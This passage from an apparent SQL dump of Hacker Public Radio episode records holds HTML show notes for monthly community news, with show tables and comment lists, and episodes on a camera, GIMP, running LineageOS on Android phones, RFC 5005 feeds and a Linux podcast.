without summaries or tags the <em>old shows</em> and <em>tag and summary</em> projects are now tied together. So we will be all the more welcoming of tag and summary updates submitted as described on the <a href=\"https://hackerpublicradio.org/report_missing_tags.php\">summary page</a>.</p>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributors for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\">Archer72</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></b></p>\n<p>Over the period tags and/or summaries have been added to 82 shows which were without them.</p>\n<p>There are now 295 shows which need a summary and/or tags.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3391,'2021-08-02','HPR Community News for July 2021',4611,'HPR Volunteers talk about shows released and comments posted in July 2021','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3369\" target=\"_blank\">3369</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-07-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3369\" target=\"_blank\">Linux Inlaws S01E33: The Return of the Rust</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3370\" target=\"_blank\">3370</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-07-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3370\" target=\"_blank\">More Free Images?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3371\" target=\"_blank\">3371</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-07-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3371\" target=\"_blank\">HPR Community News for June 2021</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3372\" target=\"_blank\">3372</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-07-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3372\" target=\"_blank\">HPR 2020 - 2021 New Years Eve Show Episode 8</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3373\" target=\"_blank\">3373</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-07-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3373\" target=\"_blank\">HPR RPG Club reviews Starfinder</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3374\" target=\"_blank\">3374</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-07-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3374\" target=\"_blank\">Why I love the MacBook Mid 2010</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3375\" target=\"_blank\">3375</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-07-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3375\" target=\"_blank\">Car ODB2 Fun and Fail</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3376\" target=\"_blank\">3376</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-07-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3376\" target=\"_blank\">Making books with Linux - part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3377\" target=\"_blank\">3377</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-07-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3377\" target=\"_blank\">Chromebook support and more</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3378\" target=\"_blank\">3378</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-07-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3378\" target=\"_blank\">A bit of my experience with Starlink internet service</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3379\" target=\"_blank\">3379</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-07-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3379\" target=\"_blank\">Linux Inlaws S01E34: The one with the intelligence</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3380\" target=\"_blank\">3380</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-07-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3380\" target=\"_blank\">Building a Better Goodreads with ActivityPub</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3381\" target=\"_blank\">3381</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-07-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3381\" target=\"_blank\">Learning to skate</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3382\" target=\"_blank\">3382</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-07-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3382\" target=\"_blank\">How I fixed a fault on my car for free thanks to YouTube</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3383\" target=\"_blank\">3383</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-07-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3383\" target=\"_blank\">My gEeeky Experiment - Part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3384\" target=\"_blank\">3384</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-07-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3384\" target=\"_blank\">Page Numbers in EPUB eBook Files</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3385\" target=\"_blank\">3385</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-07-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3385\" target=\"_blank\">DIY Cat feeder!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3386\" target=\"_blank\">3386</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-07-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3386\" target=\"_blank\">What\'s for dinner?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3387\" target=\"_blank\">3387</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-07-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3387\" target=\"_blank\">Infosec Podcasts Part 5  Grab bag</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3388\" target=\"_blank\">3388</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-07-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3388\" target=\"_blank\">Linux Inlaws S01E35: The Free Software Foundation Europe</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3389\" target=\"_blank\">3389</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-07-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3389\" target=\"_blank\">Tales of a Tagger</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3390\" target=\"_blank\">3390</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-07-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3390\" target=\"_blank\">Intro to DOS Series</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 18 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 5 comments on\n3 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3357#comments\" target=\"_blank\">hpr3357</a></strong>\n(2021-06-15) \"<em>My terminal journey, part 02.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3357#2\" target=\"_blank\">Comment 2</a>:\nSome Guy On The Internet on 2021-07-08:\n\"apt-mark hold\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3367#comments\" target=\"_blank\">hpr3367</a></strong>\n(2021-06-29) \"<em>Making books with linux - part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3367#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp on 2021-07-11:\n\"Page numbers\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3367#2\" target=\"_blank\">Comment 2</a>:\ndangerseeker on 2021-07-16:\n\"Fonts and LaTeX\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3368#comments\" target=\"_blank\">hpr3368</a></strong>\n(2021-06-30) \"<em>Infosec Podcasts Part 4 - Social Engineering Podcasts</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3368#1\" target=\"_blank\">Comment 1</a>:\nPorkchop on 2021-07-01:\n\"recommendation\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3368#2\" target=\"_blank\">Comment 2</a>:\nTrey on 2021-07-05:\n\"Thanks for the feedback, Porkchop.\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 13 comments on 8 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3369#comments\" target=\"_blank\">hpr3369</a></strong>\n(2021-07-01) \"<em>Linux Inlaws S01E33: The Return of the Rust</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3369#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2021-07-01:\n\"I loved the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3371#comments\" target=\"_blank\">hpr3371</a></strong>\n(2021-07-05) \"<em>HPR Community News for June 2021</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3371#1\" target=\"_blank\">Comment 1</a>:\nfrank on 2021-07-05:\n\"A comment on your comment about my comment\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3371#2\" target=\"_blank\">Comment 2</a>:\nTrey on 2021-07-05:\n\"Congrats on joining the Ham community!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3371#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2021-07-06:\n\"Errors in comments\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3371#4\" target=\"_blank\">Comment 4</a>:\nb-yeezi on 2021-07-06:\n\"Ranger previously on HPR\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3372#comments\" target=\"_blank\">hpr3372</a></strong>\n(2021-07-06) \"<em>HPR 2020 - 2021 New Years Eve Show Episode 8</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3372#1\" target=\"_blank\">Comment 1</a>:\nHonkeymagoo on 2021-05-11:\n\"Thanking\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3377#comments\" target=\"_blank\">hpr3377</a></strong>\n(2021-07-13) \"<em>Chromebook support and more</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3377#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2021-07-13:\n\"Well,\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3381#comments\" target=\"_blank\">hpr3381</a></strong>\n(2021-07-19) \"<em>Learning to skate</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3381#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp on 2021-07-21:\n\"Consultant available\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3381#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp on 2021-07-21:\n\"Skate Shoes\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3383#comments\" target=\"_blank\">hpr3383</a></strong>\n(2021-07-21) \"<em>My gEeeky Experiment - Part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3383#1\" target=\"_blank\">Comment 1</a>:\nZen_floater2 on 2021-07-22:\n\"Why I love OpenBSD\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3388#comments\" target=\"_blank\">hpr3388</a></strong>\n(2021-07-28) \"<em>Linux Inlaws S01E35: The Free Software Foundation Europe</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3388#1\" target=\"_blank\">Comment 1</a>:\nBrian-in-ohio on 2021-07-30:\n\"free speech\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3390#comments\" target=\"_blank\">hpr3390</a></strong>\n(2021-07-30) \"<em>Intro to DOS Series</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3390#1\" target=\"_blank\">Comment 1</a>:\nBrian-in-ohio on 2021-07-30:\n\"great show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3390#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2021-07-30:\n\"You are most welcome\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-July/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-July/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"older-hpr-shows-on-archive.org\">Older HPR shows on archive.org</h3>\n<p>This month 35 additional shows in the range 1-870 have been uploaded.</p>\n<p>Since we don\'t want to upload shows without summaries or tags the <em>old shows</em> and <em>tag and summary</em> projects are now tied together. So we will be all the more welcoming of tag and summary updates submitted as described on the <a href=\"https://hackerpublicradio.org/report_missing_tags.php\">summary page</a>.</p>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributors for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\">Archer72</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\">Rho`n</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></b></p>\n<p>Over the period tags and/or summaries have been added to 71 shows which were without them.</p>\n<p>There are currently 222 shows which need a summary and/or tags.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3114,'2020-07-09','Using the Akaso EK7000 Pro',666,'Some tips on using the camera based on my limited experience on one trip.','<p>I found this camera to be useful, but it has a few quirks. Here is what I learned about using it. I took it on a cruise in the Caribbean Sea in February 2020, just before the coronavirus hit everything.</p>\r\n<ul>\r\n<li><a href=\"https://www.palain.com/photography/using-the-akaso-ek7000-pro/\" class=\"uri\">https://www.palain.com/photography/using-the-akaso-ek7000-pro/</a></li>\r\n</ul>\r\n',198,0,0,'CC-BY-SA','Camera, Waterproof Camera, Action camera',0,0,1),
(3125,'2020-07-24','GIMP: The Canvas',785,'The Canvas is the first key concept in learning Gimp','<p>The Canvas is the main stage on which all of the action takes place, and it controls some aspects of the final image. When you get ready to export, you only export what is on the canvas.</p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/XCF_(file_format)\" class=\"uri\">https://en.wikipedia.org/wiki/XCF_(file_format)</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/the-canvas/\" class=\"uri\">https://www.ahuka.com/gimp/the-canvas/</a></li>\r\n</ul>',198,113,0,'CC-BY-SA','GIMP, images, photos, graphics, canvas, layer',0,0,1),
(3110,'2020-07-03','Finding an Android phone to run LineageOS',2277,'Join Ken on this 6 year long journey of success but also failure','<h1 id=\"finding-an-android-phone-to-run-lineageos\">Finding an Android phone to run LineageOS</h1>\r\n<p>Affordable phone that support school apps, and allow firewall.</p>\r\n<h2 id=\"tldr\">TL;DR</h2>\r\n<p>Don\'t, unless you are willing to loose the money you are paying.</p>\r\n<h2 id=\"requirements\">Requirements</h2>\r\n<ul>\r\n<li>Supported for 3-5 years.</li>\r\n<li>Apps = Android = LineageOS</li>\r\n<li>Firewall = AFWall+ = Unlocked + Root</li>\r\n<li>Affordable</li>\r\n</ul>\r\n<h3 id=\"support\">Support</h3>\r\n<p>Getting a brand new phone means that Developers have not had time to release code.</p>\r\n<p>Older phones are no longer available for purchase, and actually become more expensive.</p>\r\n<p>Too old a version and apps are no longer supported.</p>\r\n<h2 id=\"finding-a-phone-that-can-be-unlocked\">Finding a phone that can be unlocked</h2>\r\n<p>I use a site called <a href=\"https://tweakers.net/smartphones/vergelijken/\">Tweakers.net</a> which allows you to do parameter search.</p>\r\n<p>Set the maximum price you are willing to pay.</p>\r\n<p>The current version of Android is 10 so select only those. You want your phone to be supported for as long as possible.</p>\r\n<p>Make any other selections that you think are critical, like memory, processor etc but be prepared to adjust this later.</p>\r\n<p>In my case I selected a minimum of 4G Ram and 64G Storage the first time.</p>\r\n<p>Sort by price low to high, and loop through, finding what support there is for <a href=\"https://twrp.me/Devices/\">TWRP</a>. That will tell you how open the phone is. If the Manufacturer support (the spirit of) unlocking, then remove them from the list.</p>\r\n<ul>\r\n<li>HTC support unlocking but not don\'t give code to the developers so it\'s useless.</li>\r\n<li>Motorola support was good but since the take over by Lenovo they have stopped supporting unlocking.</li>\r\n<li>Google phones are unlocked and are ideal for developers but are too expensive.</li>\r\n<li>Xiaomi requires you to wait until the EU 14 day no questions asked warranty has expired.</li>\r\n<li>Fairphone too expensive.</li>\r\n<li>PinePhone may be an option but people report the current version being too slow.</li>\r\n</ul>\r\n<p>After finding a phone that can be unlocked and rooted, then check to see if there is an <em>official</em> version for <a href=\"https://wiki.lineageos.org/devices/\">LineageOS</a></p>\r\n<p>If no phone meets all the requirements then try the next one.</p>\r\n<p>It\'s very likely you will not find a phone. You are then faced with the choice of adjusting your parameters, for example picking a more expensive model, but at the end of the day be prepared that you may not find a phone.</p>\r\n<p>If you do find a phone, it\'s very likely that it may be a different version than the one supported. I have had to return several phones that I had unlocked and just hoped that the supplier would take them back and refund me.</p>\r\n<p>Even on supported phones, especially newer ones, it\'s quite often that a major piece of functionality will not work. I have had issues with no GPS on one phone, and bluetooth/wifi not working on another until files were manually edited on each reboot.</p>\r\n<p>Do not do this if you want a stress free life, and also if you are not willing to accept the waste of all the money, and time involved.</p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://tweakers.net/smartphones/vergelijken/\">Tweakers.net</a></li>\r\n<li><a href=\"https://twrp.me/Devices/\">TWRP</a></li>\r\n<li><a href=\"https://wiki.lineageos.org/devices/\">LineageOS</a></li>\r\n<li><a href=\"https://github.com/Genymobile/scrcpy\">scrcpy</a></li>\r\n<li><a href=\"https://tektab.com/2015/10/31/android-bootloaderfastboot-mode-and-recovery-mode-explained/\">Android bootloader/fastboot mode and recovery mode explained/Android boot process</a> October 31, 2015 Saad Faruque</li>\r\n<li><a href=\"https://www.pine64.org/pinephone/\">pinephone</a></li>\r\n</ul>\r\n',30,0,1,'CC-BY-SA','TWRP,Tweakers,LineageOS,scrcpy,tektab.com,bootloader,fastboot,Sony Xperia XA2,pinephone',0,0,1),
(3102,'2020-06-23','RFC 5005 Part 2 – Webcomics, subscribers and feed readers',902,'fluffy, Jamey and I go on for another ten minutes about how webcomic artists feel about feeds','<p>An interview with two passionate RFC 5005 fans on how to handle big Atom feeds</p>\r\n\r\n<p>This conversation took almost an hour, so I split it into two shows:</p>\r\n\r\n<ul>\r\n  <li>Part 1 talks mostly about the RFC itself, what it means and why. <a href=\"https://hackerpublicradio.org/eps.php?id=3082\">HPR 3082</a></li>\r\n  <li>Part 2 goes into personal experiences with the RFC and with syndication in general, in particular in the context of web comics.</li>\r\n</ul>\r\n\r\n<p>This is part 2.</p>\r\n\r\n<p>In this show I’m talking to:</p>\r\n\r\n<h3 id=\"fluffy\">fluffy</h3>\r\n\r\n<ul>\r\n  <li>Federated social web:<br />\r\n<a href=\"https://queer.party/@fluffy\">https://queer.party/@fluffy</a></li>\r\n  <li>Writes and makes things in several creative fields:<br />\r\n<a href=\"https://beesbuzz.biz/\">https://beesbuzz.biz/</a></li>\r\n  <li>Publ is like a static site generator, but dynamic. It produces RFC 5005 archive feeds, of course:<br />\r\n<a href=\"https://publ.beesbuzz.biz/\">https://publ.beesbuzz.biz/</a></li>\r\n  <li>Thoughts on ephemeral content vs content worth archiving and how they relate to protocols:<br />\r\n<a href=\"https://beesbuzz.biz/blog/5709-Keeping-it-personal\">https://beesbuzz.biz/blog/5709-Keeping-it-personal</a></li>\r\n</ul>\r\n\r\n<h3 id=\"jamey\">Jamey</h3>\r\n\r\n<ul>\r\n  <li>Federated social web:<br />\r\n<a href=\"https://toot.cat/@jamey\">https://toot.cat/@jamey</a></li>\r\n  <li>Blog:<br />\r\n<a href=\"https://minilop.net/\">https://minilop.net/</a></li>\r\n  <li>Made a prototype full-history reader that follows RFC 5005 links:<br />\r\n<a href=\"https://reader.minilop.net/\">https://reader.minilop.net/</a></li>\r\n  <li>Made a webcomic reader mostly mentioned in Part 2:<br />\r\n<a href=\"https://www.comic-rocket.com/\">https://www.comic-rocket.com/</a></li>\r\n  <li>Made a WordPress plugin implementing RFC 5005:<br />\r\n<a href=\"https://github.com/jameysharp/wp-fullhistory\">https://github.com/jameysharp/wp-fullhistory</a></li>\r\n  <li>Made an RFC 5005 archive feed synthesizer for sites with a predictable post frequency and URL structure:<br />\r\n<a href=\"https://github.com/jameysharp/predictable/\">https://github.com/jameysharp/predictable/</a><br />\r\nHosted at <a href=\"https://fh.minilop.net/\">https://fh.minilop.net/</a></li>\r\n  <li>Was on HPR 9 years ago, talking about X.Org!<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=0825\">https://hackerpublicradio.org/eps.php?id=0825</a></li>\r\n</ul>\r\n\r\n<h2 id=\"conversation-notes\">Conversation notes</h2>\r\n\r\n<ul>\r\n  <li>Back in 2002, Aaron Swartz published his joke MIME-header-based <em>RSS 3</em>:<br />\r\n<a href=\"https://www.aaronsw.com/weblog/000574\">https://www.aaronsw.com/weblog/000574</a><br />\r\nThe cultural context at the time and the rivalry between RSS 0.91+, RSS 1.0, RSS 2.0 and Atom deserves a show of its own.</li>\r\n</ul>\r\n',311,0,0,'CC-BY-SA','webcomics, rfc5005, atom, rss, feeds',0,0,1),
(3099,'2020-06-18','Linux Inlaws S01E08 The review of the review',2741,'In this short episode our two heroes rant about Linus, Transmeta, EdgeOS','<h2>S01E08: <a href=\"https://hackerpublicradio.org/eps.php?id=3099\" target=_blank>The review of the review</a></h2>\r\n<p>More shenanigans from our two heroes. In this short episode our two heroes rant about Linus and other old people, Transmeta and other history, discuss Martin\'s EdgeOS woes and discover that MIPS is indeed a CPU architecture supported by standard Debian. The show concludes with a short review of Claudio\'s <a href=https://hackerpublicradio.org/eps.php?id=3093>review</a> and poxes about the Arch wiki and Californication. You have been warned!</p>\r\n\r\n<h3>Links:</h3>\r\n<ul>\r\n<li>Linus Torvald\'s 80 column rant: <a href=https://lkml.iu.edu/hypermail/linux/kernel/2005.3/08168.html target=_blank>https://lkml.iu.edu/hypermail/linux/kernel/2005.3/08168.html</a></li>\r\n<li>Linux\'s device tree explained: <a href=https://elinux.org/Device_Tree_Reference target=_blank>https://elinux.org/Device_Tree_Reference</a></li>\r\n<li>Debian packages for EdgeOS: <a 